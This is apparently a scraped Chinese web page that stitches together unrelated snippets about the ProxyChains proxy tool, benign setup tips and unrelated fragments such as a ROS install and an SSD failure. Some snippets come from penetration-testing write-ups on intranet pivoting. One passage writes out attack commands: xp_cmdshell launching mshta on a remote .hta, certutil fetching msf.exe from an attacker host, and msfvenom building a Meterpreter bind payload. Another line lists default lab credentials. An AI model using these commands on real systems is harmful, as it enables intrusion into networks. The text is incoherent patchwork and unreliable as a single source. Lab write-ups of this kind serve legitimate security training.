proxychain的功能很强大，让我们不需要使用export指定ssh的http代理就可以*了。
在攻击机上，配置 /etc/proxychains.conf 文件的最后一行，根据当前攻击主机 IP 与设置的 Socks 端口，修改如下：
ProxyChains是一款Linux系统下的代理工具，由于很多优秀的程序位于GitHub社区，使用国内服务器部署GitHub上面的程序时，经常会在拉取安装包时下载超时失败，或是访问国外网站非常慢，例如用git、wget等等，这个时候就可以通过proxychain工具来使用socks或http代理进行网络加速访问。
本站Mac M芯片Proxychain安装教程在：https://www.zanglikun.com/16891.html
Proxychains是Linux上一款全局代理工具，通过Hook Socket函数实现透明代理，这和Windows上的Proxifier有点类似。 在Ubuntu上安装Proxychains的方法是： apt-get install proxychains 安装的是3.1版本，配置文件的路径是：/etc/proxychains.conf，内容如下： # proxychains.conf VER 3.1 # # HTTP, SOCKS4, SOCKS5 tunneling proxif
ProxyChains是Linux和其他Unices下的代理工具。它可以使任何程序通过代理上网，允许TCP和DNS通过代理隧道，支持HTTP、SOCKS4和SOCKS5类型的代理服务器，并且可配置多个代理。ProxyChains通过一个用户定义的代理列表强制连接指定的应用程序，直接断开接收方和发送方的连接。本节将介绍设置ProxyChains的方法。 设置ProxyChains的具体操作步骤如下所示。 （1）打开ProxyChains配置文件。执行命令如下所示： root@Kali:~# vi /etc/p
有些时候，启动的一些前端服务需要请求国外资源。我们在电脑挂着VPN，在终端的内容依旧不能访问相关网络。即便ClashX提供命令给终端提供工具，前端开的通过终端开的服务也不支持。此时我们就需要Proxychains-ng服务的支持了
乌鸦安全的技术文章仅供参考，此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等（包括但不限于）进行检测或维护参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。
使用爬虫爬取网站或者使用扫描器扫描目标时经常会遇到扫描频率较为频繁导致IP被封或者限制访问的情况，这时候我们就需要考虑利用IP代理的方式不断的变换IP进行爬虫和扫描，从而逃避目标端的检测。这里介绍一款代理工具ProxyChains。 ProxyChains是一个开源代理工具，能够强制使任何应用的TCP连接使用SOCKS4,SOCKS或者HTTP(S)代理进行连接。首先简单介绍一下ProxyChains的使用。 Kali中自带ProxyChains，也可以从https://github.com/rofl0r/
写在前面的话 如果你准备对网络协议进行逆向分析或进行任何与网络安全有关的活动时，可能是为了了解协议运行机制，也有可能是为了查找敏感信息，你或多或少都需要收集一定量的网络通信数据。在此之前，我们只需要打开tcpdump就可以查看到所有的明文数据包流量了，但是现在几乎每一个人的网络流量都经过了加密处理，看样子之前的好日子一去不复返了。话虽如此，但现在仍然有很多用户的在线服务账号被黑，而他们的个人信息随后便会在暗网市场<点击阅读原文查看链接>中出售，这又是为何呢？ 如今，只要你打算做网络分析，那么你绝对需要H
如果要使用BurpSuite抓包进行如暴力破解等操作，还需要另外配置一下BurpSuite的代理
学校的个人账号只能在一台设备上进行认证联网，但是我们使用的 GPU 服务器经常需要访问互联网，在服务器上认证之后我们自己的电脑就会掉线，所以可以通过代理的方式让服务器通过我们自己的设备进行联网，解决这个问题。
以上这篇对Linux终端使用socks5代理的方法详解就是小编分享给大家的全部内容了，希望能给大家一个参考。
概述 RedShell是一款交互式命令行工具，它可以帮助广大研究人员通过proxychains（一款命令行代理神器）来执行命令，并自动将命令执行日志记录在Cobalt Strike团队服务器之中。 工具下载 广大研究人员可以使用下列命令将该项目源码克隆至本地： git clone https://github.com/Verizon/redshell.git 工具安装 RedShell基于Python 3开发，因此需要在本地主机上安装好Python 3环境。除此之外，RedShell的运行还需要在系统中安装
ATT&CK视角下的红蓝对抗：四. 内网穿透之通过Earthworm(EW)进行隧道穿透
所以可以利用brew install 工具至/opt/homebrew/避开SIP策略
下载 [root@localhost html]# git clone https://github.com/rofl0r/proxychains-ng.git 编译安装 [root@localhost html]# cd proxychains-ng/ [root@localhost proxychains-ng]# ls AUTHORS configure COPYING Makefile README src tests TODO tools VERSION [root@localh
提出问题：通过ew反向代理后利用proxychains打开了火狐，访问了内网web端口，然后登录处想抓包爆破应该怎么设置这个代理呢？如果ew流量从1080端口走，bp也设置了1080这样会报端口占用了，如何解决呢？
本教程需要wsl环境，需要在wsl中安装、配置好python3环境。以及后续编译固件需要访问国外网站 从中访问国外网站的工具，我使用proxychains，具体配置详情见百度~
探测相关插件和Wordpress版本均未发现相关漏洞，尝试弱口令，以弱口令成功登入后台
针对国内云服务器无法使用github这一问题（如今各大运营商已经将github屏蔽），我的建议是尽早在服务器上使用代理。
在kali更新到2020后，原本直接修改网络设置中代理的方法不再好使，转而需要用到proxychains，在kali2020中已自带，不需要再单独安装，此篇文章将介绍基于物理机v2ray代理的通过proxychains完成的科学冲浪方式
GFW对于特定国外IP段会进行拦截阻断，导致我们无法访问对端，而我们需要用到socks协议的正向代理功能，负责为我们将请求转发到国外可用服务器，之后这台服务器将请求转发给你要访问的任何外网资源，最关键的部分就是这台国外服务器进行流量中转，如下图：
朋友们现在只对常读和星标的公众号才展示大图推送，建议大家把“亿人安全“设为星标”，否则可能就看不到了啦
proxychains: https://github.com/rofl0r/proxychains-ng
建立成功隧道~接下来试试！ python3 neoreg.py -k dayuxiyou -u http://192.168.175.160/tunnel.aspx 3、设置代理 前面就说了该工具基于socks5代理的！这里有两种最简单的方法，设置浏览器代理用burpsuite配合分析就行！或者是利用proxychains进行代理！ 1）设置浏览器 记得选择代理socks5和端口是1080！！ 成功通过浏览器代理访问到内网业务！ 2）proxychains设置代理 修改vi /etc/proxychains4.conf后添加： socks5 127.0.0.1 1080 可看到通过proxychains代理nmap对内网进行端口扫描…发现80端口是开放的，那么代理成功！ 这里用proxychains代理还是很好的，支持很多方法和工具进行渗透！！ 该工具简单，易懂，免杀，适合快速建立隧道进行内网穿透横向攻击！！ 今天基础牢固就到这里，虽然基础，但是必须牢记于心。
一开始遇到 sudo apt-get install ros--desktop-full (E: Unable to correct problems, you have held broken packages.) 多方搜索之后，先使用apt-get安装aptitude sudo apt-get install aptitude 然后使用aptitude安装对应的ros sudo aptitude install ros-desktop-full 接着是配置下zshrc echo "source /opt
IPC，WMI，SMB，PTH，PTK，PTT，SPN，WinRM，WinRS，RDP,Plink，DCOM，SSH；Exchange，LLMNR投毒，Plink，DCOM，Kerberos_TGS，GPO&DACL， 域控提权漏洞，约束委派，数据库攻防，系统补丁下发执行，EDR定向下发执行等。
EW（Earthworm）是一套便携式的网络穿透工具，具有SOCKS v5服务架设和端口转发两大核心功能，可在复杂网络环境下完成网络穿透。
家里的PC机有几个月没用了,昨天刚开机,发现SSD识别不了,经过排查,确定是盘坏了,然后只能重装
当linux 代理软件设置好后，我们需要设置命令行代理的连接方式，这样在命令行中的软件才能使用：
题目描述检测口令安全性，那应该是存在弱口令，所以我们先找下管理员用户，然后进行爆破，我们这里可以发现首页的这个邮箱
当我们通过MSF拿到一个机器的权限后，想通过MSF搭建socks代理，然后通内网。
外网连接问题导致github不能download仓库。我们找个可以连接外网的机器，起开个ss-server服务。然后我们在本地机器起个ss-local服务，把github的请求旁路到可以访问外网的机器，从而可以下载整个仓库。现在来细说怎么做到这一点。
the quieter you become,the more you can hear
使用 Homebrew 安装 brew install proxychains-ng 配置 vim /usr/local/etc/proxychains.conf 增加如下配置： image.png
经过前期的渗透工作，我们现在已经成功找到了web站点的漏洞，并且获得了一个普通的webshell，现在准备用菜刀去连接它。
在渗透测试中，当我们获得了外网服务器（如web服务器，ftp服务器，mali服务器等等）的一定权限后发现这台服务器可以直接或者间接的访问内网。此时渗透测试进入后渗透阶段，一般情况下，内网中的其他机器是不允许外网机器访问的。这时候，我们可以通过 端口转发(隧道) 或将这台外网服务器设置成为 代理，使得我们自己的攻击机可以直接访问与操作内网中的其他机器。实现这一过程的手段就叫做内网转发。
上一节中，我们讲解了网络层的隧道技术（IPv6 隧道、ICMP 隧道）和传输层的隧道技术（TCP 隧道、UDP 隧道、常规端口转发）。现如今，TCP、UDP 通信大量被防御系统拦截，传统的Socket隧道也已经濒临淘汰，DNS、ICMP、HTTP/HTTPS 等难以被禁用的协议已经成为了攻击者控制隧道的主要渠道。在这一节中，我们将对应用层的隧道 SOCKS 代理技术进行实验性的讲解，由于小编能力太菜，很多东东也是现学现卖，应用层的DNS隧道我会在未来专门写一个专题进行讲解。
声明：本人坚决反对利用文章内容进行恶意攻击行为，一切错误行为必将受到惩罚，绿色网络需要靠我们共同维护，推荐大家在了解技术原理的前提下，更好的维护个人信息安全、企业安全、国家安全。
利用代理工具将内网的流量代理到本地进行访问，这样就可以对内网进行下一步渗透，同时也可以利用代理工具将其他网段的流量转发到本地进行纵向渗透。代理的本质是Socks协议(防火墙安全会话转换协议)，工作在OSI参考模型的第5层（会话层）。使用TCP协议传输数据，因而不提供如传递ICMP信息之类的网络层相关服务。目前支持SOCKS4和SOCKS5两个版本：
本文主要记录 ssh 隧道使用 来进行内网穿透。使用 sockv5, 其效果和 ss 一样；仅仅使用ssh,putty 就能做到。可以作为应急使用；
这个项目的主要目的是开发一个被动式的Google Dork脚本来收集互联网中存在潜在安全漏洞的Web页面以及应用程序。这个项目由两个部分组成，第一个就是ghdb_scraper.py脚本，该脚本可以检索Google Dork。而第二个就是pagodo.py，该脚本可以直接利用ghdb_scraper.py收集到的信息。
Administrator/Admin@123、vulntarget.com\win2016/Admin#123
EXEC master..xp_cmdshell 'mshta http://192.168.186.3:8080/yGwnzfy4cc.hta' 注意事项： 添加虚拟路由后配置hta_server模块选项时SRVHOST如果还用默认的0.0.0.0则生成URL的IP地址还是VPS的，所以在不出网主机上无法访问和执行，最终导致无法上线。 思路拓展： bind_tcp/reverse_tcp/reverse_tcp_rc4与hta_server的利用方式差不多，都要用到MSF虚拟路由，只是要重新生成/上传载荷文件。这种方式在某些不出网场景下“文件落地”可能是个麻烦事，不过在我们模拟的这个场景下可以利用这台可以出网的Web服务器来进行文件落地。 EXEC master..xp_cmdshell 'certutil -urlcache -split -f http://192.168.186.3/msf.exe C:\ProgramData\msf.exe' 0x04 Socks代理 + Proxychains 我们先用autoroute模块自动添加虚拟路由，再用MSF中的Socks模块开一个Socks代理，设置选项可以不做修改，直接默认执行即可。MSF6已将socks4/5都集成到socks_proxy模块中了。 run post/multi/manage/autoroute bg use auxiliary/server/socks4a exploit Socks4代理开好后找到/etc/proxychains.conf配置文件，在底部填入127.0.0.1和1080端口，然后再用proxychains代理工具执行curl或nc验证下看是否已经代理成功？ proxychains curl http://192.168.186.4 proxychains nc -zv 192.168.186.4 1433 确定Socks代理没问题后再使用msfvenom生成一个bind_tcp载荷文件，通过中国菜刀将该文件上传至192.168.186.3的Web服务器中供192.168.186.4断网数据库服务器下载。 msfvenom -p windows/x64/meterpreter/bind_tcp lport=443 -f exe > /var/www/html/bind.exe 另起一个命令终端用proxychains代理工具来启动msfconsole，配置好handler监听模块bind_tcp相关选项执行监听，在中国菜刀中利用xp_cmdshell组件执行bind.exe文件后即可上线。 流量走向：
reGeorg是reDuh的继承者，利用了会话层的socks5协议，结合Proxifier使用效率更高，Proxifier是一款功能非常强大的socks5客户端，可以让不支持通过代理服务器工作的网络程序能通过SOCKS代理。下面提供了两个工具的下载地址：
看到DMZ开启了web服务，是一个typecho的cms，后台默认就是/admin
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
对象存储
实时音视频
云直播
